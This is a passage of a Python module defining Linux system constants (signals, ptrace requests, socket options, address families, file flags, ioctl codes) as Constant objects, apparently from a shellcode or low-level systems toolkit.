Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECT = Constant('O_DIRECT',0o40000) O_LARGEFILE = Constant('O_LARGEFILE',0o100000) O_DIRECTORY = Constant('O_DIRECTORY',0o200000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = 